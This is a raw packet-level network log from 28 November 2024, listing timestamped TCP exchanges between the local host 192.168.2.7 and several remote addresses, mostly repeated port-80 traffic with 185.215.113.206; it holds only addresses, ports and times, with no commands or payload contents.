Nov 28, 2024 11:05:29.187160969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.188018084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.188133955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.188179016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.188179016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.189075947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.189161062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.189197063 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.189197063 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.190109968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.190226078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.190278053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.191227913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.191344976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.191358089 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.192130089 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.192284107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.192544937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.192590952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.192590952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.193428993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.193608999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.193653107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.193653107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.194453955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.194530964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.194571972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.194619894 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.195557117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.195625067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.195730925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.196557045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.196748018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.196845055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.196845055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.197633028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.197698116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.197741985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.197741985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.198692083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.198786974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.198792934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.198862076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.199790001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.199923038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.199925900 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.200071096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.200853109 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.200920105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.201014996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.201071024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.201910019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.202033043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.202049971 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.202079058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.203001022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.203119040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.203123093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.203165054 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.204056978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.204109907 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.204168081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.204336882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.205131054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.205184937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.205331087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.205395937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.206199884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.206332922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.206386089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.206463099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.207277060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.207334042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.207387924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.207451105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.208378077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.208456993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.208457947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.208529949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.209424973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.209523916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.209568977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.209645033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.210566044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.210619926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.210652113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.210706949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.211560965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.211657047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.211741924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.211741924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.212649107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.212743998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.212783098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.212886095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.213651896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.213752031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.331334114 CET	443	49818	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:29.331835985 CET	49818	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:29.331866026 CET	443	49818	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:29.333761930 CET	49818	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:29.333770990 CET	443	49818	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:29.333798885 CET	49818	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:29.333805084 CET	443	49818	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:29.357466936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.357520103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.357588053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.357588053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.357845068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.357872963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.357929945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.358819962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.358916998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.358968973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.359853983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.359954119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.360156059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.360935926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.361155987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.361304045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.361989021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.362071991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.362111092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.362992048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.363090038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.363130093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.363179922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.363179922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.364063025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.364093065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.364151955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.364151955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.365089893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.365189075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.365215063 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.365227938 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.366125107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.366185904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.366292000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.366415024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.367273092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.367336035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.367350101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.367419958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.368247032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.368309975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.368415117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.368463039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.369287014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.369353056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.369394064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.369469881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.370305061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.370357990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.370398998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.370449066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.370935917 CET	49843	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.370980024 CET	443	49843	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.371084929 CET	49843	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.371287107 CET	49844	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.371332884 CET	443	49844	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.371376991 CET	49844	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.371448040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.371531963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.371613026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.371838093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.371989012 CET	49843	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.372001886 CET	443	49843	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.372256041 CET	49844	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.372272968 CET	443	49844	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.372412920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.372509003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.372543097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.372543097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.373486996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.373557091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.373730898 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.373799086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.374524117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.374588966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.374627113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.374627113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.375590086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.375644922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.375721931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.376032114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.376632929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.376707077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.376770973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.376853943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.377686024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.377724886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.377743006 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.377779961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.378696918 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.378786087 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.378823042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.378897905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.379776955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.379856110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.379892111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.380070925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.380804062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.380901098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.380911112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.380985975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.381328106 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:29.381844044 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:29.381875992 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:29.381897926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.381954908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.381972075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.382019043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.382342100 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:29.382349014 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:29.382877111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.382975101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.383014917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.383186102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.383970022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.384025097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.384113073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.384165049 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.384996891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.385047913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.385051966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.385094881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.386053085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.386148930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.386250019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.387103081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.387201071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.387217045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.387264967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.388138056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.388253927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.388268948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.388309956 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.389173031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.389249086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.389303923 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.389422894 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.390229940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.390341997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.390382051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.390382051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.391271114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.391329050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.391340017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.391381025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.392349958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.392410994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.392508030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.392597914 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.393372059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.393419027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.393455982 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.393455982 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.394431114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.394486904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.394551992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.394613028 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.395540953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.395555019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.395616055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.396538973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.396641016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.396725893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.396785021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.397543907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.397615910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.397651911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.397717953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.398603916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.398705006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.398751020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.398751020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.399642944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.399753094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.399811029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.400688887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.400768995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.401155949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.401256084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.401959896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.402002096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.402021885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.402072906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.402803898 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.402889967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.402952909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.403822899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.403878927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.403901100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.403914928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.404903889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.405002117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.405038118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.405101061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.405950069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.406024933 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.406061888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.406116009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.407010078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.407089949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.407165051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.408029079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.408078909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.408087969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.408118010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.409157038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.409245968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.409265995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.409343004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.410157919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.410171032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.410224915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.410224915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.411242962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.411297083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.411331892 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.411355972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.412425041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.412587881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.517044067 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.517301083 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.517326117 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.518313885 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.518369913 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.518670082 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.518719912 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.518883944 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:29.518889904 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:29.561520100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.561588049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.561619043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.561693907 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:29.562057018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.562165976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:29.562174082 CET	49782	80	192.168.2.7	185.215.113.206
